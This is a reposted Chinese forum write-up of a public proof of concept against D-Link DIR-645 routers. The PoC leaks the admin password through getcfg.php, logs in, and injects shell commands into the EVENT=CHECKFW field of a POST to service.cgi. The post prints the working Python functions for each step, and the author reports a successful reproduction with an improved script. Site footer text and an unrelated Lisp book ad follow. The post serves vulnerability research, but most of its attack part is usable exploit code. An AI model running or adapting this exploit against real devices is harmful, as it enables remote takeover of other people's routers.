内容简介:我这几天看了个漏洞是通过构造对路由器serviec.cgi的POST请求中的data段来达到远程执行命令的目的。这个漏洞据说在615和815中也能实现,但是我试了几台都没有成功,只有645中成功复现了。Cr0n1c最早给出了PoC,链接在这里:
我这几天看了个 D-Link DIR 645 的漏洞,花了一段时间看PoC,这里简单分享下。遗憾的是我想用binwalk提取这个路由器的文件系统,总是提取失败。
漏洞是通过构造对路由器serviec.cgi的POST请求中的data段来达到远程执行命令的目的。
这个漏洞据说在615和815中也能实现,但是我试了几台都没有成功,只有645中成功复现了。Cr0n1c最早给出了PoC,链接在这里:
https://packetstormsecurity.com/files/145859/dlinkroutersservice-exec.txt
我们来看看这个代码具体做了什么。
首先,它利用了一个比较旧的漏洞获得了路由器的管理员密码。这个漏洞编号是CWE-200。链接在这里:
https://vuldb.com/?id.7843
这个漏洞就是说我们向路由器上的 /getcfg.php发出请求时,路由器会回复一个包含密码的页面。相关代码如下:
def attempt_password_find():
# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
data = query_getcfg("DEVICE.ACCOUNT")
if not data:
return False
res = re.findall("<password>(.*?)</password>", data)
if len(res) > 0 and res != "=OoXxGgYy=":
return res[0]
# Did not find it in first attempt
data = query_getcfg("WIFI")
if not data:
return False
res = re.findall("<key>(.*?)</key>", data)
if len(res) > 0:
return res[0]
# All attempts failed, just going to return and wish best of luck!
return False
我找到了一个D-Link DIR 645 并且试了下。
我们还可以通过这样的命令行指令获得密码。
不过,值得一提的是,这款路由器的user用户登陆是不需要密码的。第二个漏洞就是我们的远程命令执行了。要利用这个漏洞,首先得用刚刚获得的密码来创建一个session。
def create_session():
post_content = {"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": "admin",
"PASSWD": PASSWORD,
"CAPTCHA": ""
}
try:
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/session.cgi"
return False
if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False
if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
print "Error: Did not get a success code"
return False
return True
然后构造线请求报文的data段就可以执行命令了。
def send_post(command, print_res=True):
post_content = "EVENT=CHECKFW%26" + command + "%26"
method = "POST"
if URL.lower().startswith("https"):
handler = urllib2.HTTPSHandler()
else:
handler = urllib2.HTTPHandler()
opener = urllib2.build_opener(handler)
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
request.get_method = lambda: method
try:
connection = opener.open(request)
except urllib2.HTTPError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
except urllib2.HTTPSError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
if not connection.code == 200:
print "Error: Recieved status code " + str(connection.code)
return False
attempts = 0
while attempts < 5:
try:
data = connection.read()
except httplib.IncompleteRead:
attempts += 1
else:
break
if attempts == 5:
print "Error: Chunking failed %d times, bailing." %attempts
return False
if print_res:
return parse_results(data)
else:
return data
我尝试了下,可以成功。
原来的PoC有一些小问题,我改进了下,可以在 python 2.7下运行。
- End -
看雪ID: samohyes
https://bbs.pediy.com/user-753288.htm
本文由看雪论坛 samohyes 原创
转载请注明来自看雪社区
— ▼ —
— ▼ —
往期热门回顾
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙ 点击下方“阅读原文”,查看更多干货
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
ANSI Common Lisp
Paul Graham / Prentice Hall / 1995-11-12 / USD 116.40
For use as a core text supplement in any course covering common LISP such as Artificial Intelligence or Concepts of Programming Languages. Teaching students new and more powerful ways of thinking abo......一起来看看 《ANSI Common Lisp》 这本书的介绍吧!